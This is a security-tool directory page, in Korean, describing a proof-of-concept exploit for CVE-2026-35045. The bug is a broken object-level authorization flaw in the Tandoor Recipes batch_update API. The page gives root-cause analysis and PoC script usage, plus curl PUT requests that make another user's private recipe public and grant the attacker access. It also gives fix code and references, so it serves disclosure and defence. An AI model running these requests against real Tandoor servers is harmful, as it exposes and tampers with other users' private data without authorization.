Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-35045-PoC — # CVE-2026-35045 개념 증명 익스플로잇 Tandoor Recipes의 객체 수준 권한 부여 취약점(개체 수준 인가 취약점)으로, batch_update API 엔드포인트를 통한 무단 레시피 수정을 시연합니다. | Kitploit
도구/GitHubGitHub/filipegaudard/cve-2026-35045-poc
Vulnerability AnalysisExploitationWeb Application ExploitationAPI Security TestingPenetration TestingLearning & Education
GitHubfilipegaudard/cve-2026-35045-poc

CVE-2026-35045-PoC

# CVE-2026-35045 개념 증명 익스플로잇 Tandoor Recipes의 객체 수준 권한 부여 취약점(개체 수준 인가 취약점)으로, batch_update API 엔드포인트를 통한 무단 레시피 수정을 시연합니다.

저장소 보기
114개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-35045 — Tandoor Recipes의 객체 수준 권한 부여 우회(Broken Object-Level Authorization)

CVE-2026-35045 GHSA CVSS 8.1 CWE-639

Affected Version Responsible Disclosure


요약

Tandoor Recipes v2.6.1의 PUT /api/recipe/batch_update/ 엔드포인트는 Space 내의 모든 인증된 사용자가 해당 Space의 모든 레시피를 수정할 수 있도록 허용합니다. 여기에는 다른 사용자가 소유한 비공개 레시피도 포함됩니다. 이는 모든 표준 단일 레시피 엔드포인트에 적용되는 객체 수준 권한 부여 검사를 완전히 우회합니다.

근본 원인은 Django REST Framework의 동작상의 공백입니다: 목록 액션은 을 절대 호출하지 않으며 만 호출합니다. 쿼리셋은 오직 로만 필터링되며 , 또는 목록에 대한 검사가 없습니다. 공격자는 비공개 레시피를 강제로 노출시키고, 지속적인 접근 권한을 스스로 부여하고, 다른 사용자의 권한을 박탈하고, 메타데이터를 변조할 수 있습니다. 이 모든 것이 빈 본문과 함께 를 반환하는 단일 API 호출로 가능합니다.

detail=False
has_object_permission()
has_permission()
space=request.space
created_by
private
shared
HTTP 200 OK

취약점 세부 정보

필드값
CVE IDCVE-2026-35045
GHSAGHSA-v8x3-w674-55p5
CWECWE-639 — 사용자 제어 키를 통한 권한 부여 우회
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
영향 버전Tandoor Recipes ≤ 2.6.1
공급업체TandoorRecipes/recipes

MITRE ATT&CK 매핑

기술 ID이름관련성
T1078유효한 계정(Valid Accounts)공격자가 합법적인 낮은 권한의 자격 증명을 사용하여 권한 부여를 우회
T1565.001저장 데이터 변조(Stored Data Manipulation)다른 사용자가 소유한 비공개 레시피 및 ACL 수정

근본 원인 분석

1. detail=False가 객체 수준 권한 검사를 우회함

파일: cookbook/views/api.py

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space   # ← created_by 또는 private 검사 없음
        )

Django REST Framework에서 detail=False로 등록된 액션은 목록 액션입니다. 이들은 get_object()를 절대 호출하지 않으므로 check_object_permissions()와 CustomRecipePermission.has_object_permission()이 절대 호출되지 않습니다. has_permission()만 실행되며, 이는 레시피 소유권이 아닌 Space 멤버십만 확인합니다.

2. 표준 엔드포인트는 올바르게 보호됨

PUT /api/recipe/{id}/는 전체 DRF 권한 흐름을 따릅니다:

root@kitploit:~
get_object()
  → check_object_permissions()
    → CustomRecipePermission.has_object_permission()
      → 레시피가 비공개이고 요청자와 공유되지 않았거나 요청자가 소유하지 않은 경우 접근 거부

batch_update 엔드포인트는 이 전체 체인을 조용히 건너뜁니다.

3. 배치를 통해 쓰기 가능한 필드

RecipeBatchUpdateSerializer는 다음 필드를 노출합니다 — Space 내의 모든 레시피에 대해 쓰기 가능:

필드효과
private레시피 공개 여부 전환
shared_add / shared_remove / shared_set접근 제어 목록 조작
keywords_add / keywords_remove / keywords_set레시피 메타데이터 변경
working_time / waiting_time레시피 시간 데이터 수정

공격 흐름

root@kitploit:~
┌──────────┐   ① PUT /api/recipe/batch_update/    ┌─────────────────┐
│ 공격자   │ ─────────────────────────────────────→│  Tandoor 서버   │
│ (사용자 B)│   {"recipes":[2],"private":false,     │                 │
│          │    "shared_add":[2]}                  │  has_permission()│
└──────────┘                                       │  ✓ (Space 멤버)  │
                                                   │                 │
                                                   │  has_object_    │
                                                   │  permission()   │
                                                   │  ✗ 절대 호출 안 됨│
                                                   └────────┬────────┘
                                                            │
                                              ② Recipe.objects.filter(
                                                 id__in=[2],
                                                 space=request.space
                                              )  ← 소유권 검사 없음
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │  레시피 ID 2    │
                                                   │  (A 소유)       │
                                                   │  private=false ← 패치됨
                                                   │  shared=[2]  ← 자가 부여
                                                   └────────┬───────┘
                                                            │
                                              ③ HTTP 200 OK — {}
                                                            │
                                                            ▼
                                                   ┌────────────────┐
                                                   │ 공격자 (B)     │
                                                   │ 이제 레시피 ID 2│
                                                   │ 에 대한 전체    │
                                                   │ 접근 권한 보유  │
                                                   └────────────────┘

개념 증명(PoC)

요구 사항

  • Python 3.10+
  • requests 라이브러리
root@kitploit:~
pip install requests

사용법

root@kitploit:~
# 비공개 레시피 강제 노출 및 자가 접근 권한 부여 (기본값)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2

# 강제 노출만 수행 (private=false 설정)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action expose

# 자가 권한 부여만 수행 (shared 목록에 추가, private=true 유지)
python3 poc.py --url http://127.0.0.1:8085 \
               --username userB --password passB \
               --recipe-id 2 \
               --attacker-user-id 2 \
               --action self_grant

모듈 / 액션

액션설명
expose대상 레시피에 private: false 설정 — 모든 Space 멤버에게 공개 강제
self_grant공격자의 사용자 ID를 shared_add에 추가 — 레시피가 비공개로 유지되어도 지속적인 접근 권한 부여
both단일 요청에서 두 액션 모두 실행 (기본값)

수동 검증 (curl)

1. 사전 조건 — 표준 엔드포인트로 레시피에 접근 불가

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 예상: 404 (비공개, 소유자 아님)

2. 익스플로잇 — 권한 검사 없는 batch_update

root@kitploit:~
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
  -H 'Content-Type: application/json' \
  -H 'X-CSRFToken: CSRF_B' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  -d '{"recipes": [2], "shared_add": [2], "private": false}'
# 예상: HTTP 200 OK — {}

3. 사후 조건 — 이제 레시피에 접근 가능

root@kitploit:~
curl -s http://TARGET:8085/api/recipe/2/ \
  -H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# 예상: HTTP 200, 레시피 데이터 포함, private=false

4. 레시피 목록으로 검증

root@kitploit:~
curl -s 'http://TARGET:8085/api/recipe/' \
  -H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
  | python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# 예상: 2  <recipe_name>  False

영향

영향 영역설명심각도
강제 레시피 노출private: false 설정으로 모든 Space 멤버에게 레시피 공개높음
무단 자가 권한 부여shared_add를 통해 자신의 사용자 ID를 추가하여 모든 레시피에 대한 지속적인 읽기/쓰기 접근 권한 부여높음
접근 권한 박탈shared_remove 또는 shared_set을 사용하여 레시피 공유 목록에서 정당한 사용자 제거높음
메타데이터 변조다른 사용자가 소유한 레시피의 working_time, waiting_time, keywords 수정중간

해결 방안

즉시 수정

쿼리셋을 created_by=request.user로 필터링하여 배치 작업을 소유한 레시피로 제한합니다:

root@kitploit:~
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
    serializer = self.serializer_class(data=request.data, partial=True)
    if serializer.is_valid():
        recipes = Recipe.objects.filter(
            id__in=serializer.validated_data['recipes'],
            space=self.request.space,
            created_by=self.request.user,  # ← 수정: 소유한 레시피로 제한
        )

심층 방어

Space 관리자가 모든 레시피를 배치 업데이트할 수 있어야 하는 경우 역할 기반 조건을 추가합니다:

root@kitploit:~
if is_space_owner(request.user, request.space):
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
    )
else:
    recipes = Recipe.objects.filter(
        id__in=serializer.validated_data['recipes'],
        space=self.request.space,
        created_by=self.request.user,
    )

DRF 일반 지침

개별 객체에 대해 작동하는 모든 detail=False 액션은 수동으로 객체 수준 권한 부여를 강제해야 합니다. DRF의 has_object_permission()은 목록 액션에 대해 절대 호출되지 않습니다 — 이 책임은 전적으로 개발자에게 있습니다.


참고 자료

  • GHSA-v8x3-w674-55p5
  • CVE-2026-35045
  • CWE-639: 사용자 제어 키를 통한 권한 부여 우회
  • DRF — 사용자 정의 액션 및 권한 검사
  • OWASP API 보안 Top 10 — API1:2023 객체 수준 권한 부여 오류
  • MITRE ATT&CK T1078 — 유효한 계정
  • MITRE ATT&CK T1565.001 — 저장 데이터 변조

면책 조항

이 개념 증명은 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.


작성자

Filipe Gaudard — 공격적 보안 연구원 | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
도구 다운로드